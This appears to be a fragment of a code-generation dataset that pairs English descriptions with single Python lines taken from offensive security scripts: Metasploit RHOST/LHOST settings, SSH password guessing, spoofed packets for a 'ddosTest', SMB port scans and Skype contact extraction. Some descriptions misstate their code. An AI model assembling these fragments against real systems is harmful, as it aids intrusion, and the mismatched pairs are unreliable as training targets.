+ Assign to iface of conf the string 'eth0' conf.iface = 'eth0'
845
+ Call the method write of configFile with argument 'set RHOST' concatenated to the function str with argument password concatenated to '\n' configFile.write('set RHOST ' + str(tgtHost) + '\\n')
846
+ Call the method expect with argument a list composed of the variable TIMEOUT from the library pexpect, ssh_newkey and the string [P|p]assword: of child and assign the result to ret ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
847
+ If there are no url if url == None:
848
+ Assign to the variable username the value 'Administrator' username = 'Administrator'
849
+ Assign to response the result of the function open with argument the concatenation of 'http://ajax.googleapis.com/', 'ajax/services/search/web?v=1.0&q=' and search_term of ab response = ab.open('http://ajax.googleapis.com/'+ 'ajax/services/search/web?v=1.0&q='+ search_term)
850
+ Create a packet pkt with source src, destination dst, UDP with destination port equals to 10080 and the load equals to 'Amanda' pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda')
851
+ Create a packet pkt with source src, destination dst, ICMP type 8 and id equals to 678 and the load equals to '1234' pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')
852
+ Request the data with a tcp connection and assign it to http http = dpkt.http.Request(tcp.data)
853
+ Call the function GeoIP with argument '/opt/GeoIP/Geo.dat' and assign it to gi gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
854
+ "Use the command ""SELECT displayname, skypename, city, country,phone_mobile, birthday FROM Contacts;"" on c" "c.execute(""SELECT displayname, skypename, city, country,phone_mobile, birthday FROM Contacts;"")"
855
+ Define the function send_command with arguments s and cmd def send_command(s, cmd):
856
+ Call the method add_option with arguments '-u' dest equals to 'username' and type equals to 'string', parser.add_option('-p', dest='password', type='string',
857
+ Call the method write with argument redirect of f f.write(redirect)
858
+ Return the sum of seqNum with diffSeq return seqNum + diffSeq
859
+ Assign to target the value argv at position 1 of sys target = sys.argv[1]
860
+ Call the method write of configFile with argument 'set LHOST ' concatenated to lhost concatenated to '\n' configFile.write('set LHOST ' + lhost + '\\n')
861
+ For each row in c for row in c:
862
+ If rdata is not in the lust dnsRecords with key rrname if rdata not in dnsRecords[rrname]:
863
+ Parse the usage usage %prog, the target host, the user and the password list parser = optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
864
+ Call the function OpenKey with arguments HKEY_LOCAL_MACHINE and net and assign it to key key = OpenKey(HKEY_LOCAL_MACHINE, net)
865
+ Add the options to parser '-p', dest equalsto 'pcapFile', type equals to 'string', help equals to 'specify pcap filename' parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
866
+ From the library to get random values import randint from random import randint
867
+ Assign to passwdFile the value 'userpass.txt' passwdFile = 'userpass.txt'
868
+ Start except block with Exception and e except Exception, e:
869
+ Assign to rrname the rrname of the method getlayer with argument DNSRR of ptk rrname = pkt.getlayer(DNSRR).rrname
870
+ Call the method write of configFile with argument 'set LHOST ' concatenated to lhost concatenated to '\n' configFile.write('set LHOST ' + lhost + '\\n')
871
+ Assign to dst the ip destination of ip.dst dst = socket.inet_ntoa(ip.dst)
872
+ Create a packet pkt with source src, destination dst, ICMP type 0 and the load equals to 'AAAAAAAAAA' pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')
873
+ Assign to params the dictionary empty params = {}
874
+ For each tuple made of ts and buf of pcap for (ts, buf) in pcap:
875
+ If the method haslayer with argument DNSRR of pkt returns True and sport of the method getlayer with argument UPT of pkt is equals to 53 if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
876
+ Assign the value 'guest' to passWord passWord = 'guest'
877
+ Call the function findAttack of pcap findAttack(pcap)
878
+ Call the function findDownload of pcap findDownload(pcap)
879
+ Define the function ddosTest with arguments src, dst, iface and count def ddosTest(src, dst, iface, count):
880
+ Call the function basename with argument urlsplit with argument imgSrc sliced at position 2 and assing it to imgFileName imgFileName = basename(urlsplit(imgSrc)[2])
881
+ Start except block with Exception e except Exception, e:
882
+ Import the library to connect to database import sqlite3
883
+ Connect to the database msgDB and assign it to conn conn = sqlite3.connect(msgDB)
884
+ Assign to browser the default browser of Browser browser = mechanize.Browser()
885
+ If r exists if r:
886
+ If ret equals 2 if ret == 2:
887
+ Assign the variable passwdFile of options to passwdFile passwdFile = options.passwdFile
888
+ If url is equal to None or if dir is equal to None if url == None or dir == None:
889
+ Define the function sid2user with argument sid def sid2user(sid):
890
+ Call the function login with arguments 'anonymous' and '[email protected]' from library ftp ftp.login('anonymous', '[email protected]')
891
+ Assign to cookie_jar the LWPCookieJar with no argument of cookielib cookie_jar = cookielib.LWPCookieJar()
892
+ Load the json of response and assign it to object objects = json.load(response)
893
+ Start except block with Exception e except Exception, e:
894
+ Define the function downloadImage with argument imgTag def downloadImage(imgTag):
895
+ Call the function printMeta with argument fileName printMeta(fileName)
896
+ For each line in the method readlines with no argument of fn for line in fn.readlines():
897
+ Define the function printDownloads with argument downloadDB def printDownloads(downloadDB):
898
+ Call method prompt with no argument on s s.prompt()
899
+ Assign to iface the string 'eth0' iface = 'eth0'
900
+ Import the library to perform a SSH connection import pxssh
901
+ Assign to srcSpoof the srcSpoof of options srcSpoof = options.srcSpoof
902
+ If the method has_tcp called with argument 445 of nmScan sliced at host is equal to True if nmScan[host].has_tcp(445):
903
+ Assign to new_gr the result of the function Google_result with arguments title, text, url new_gr = Google_Result(title, text, url)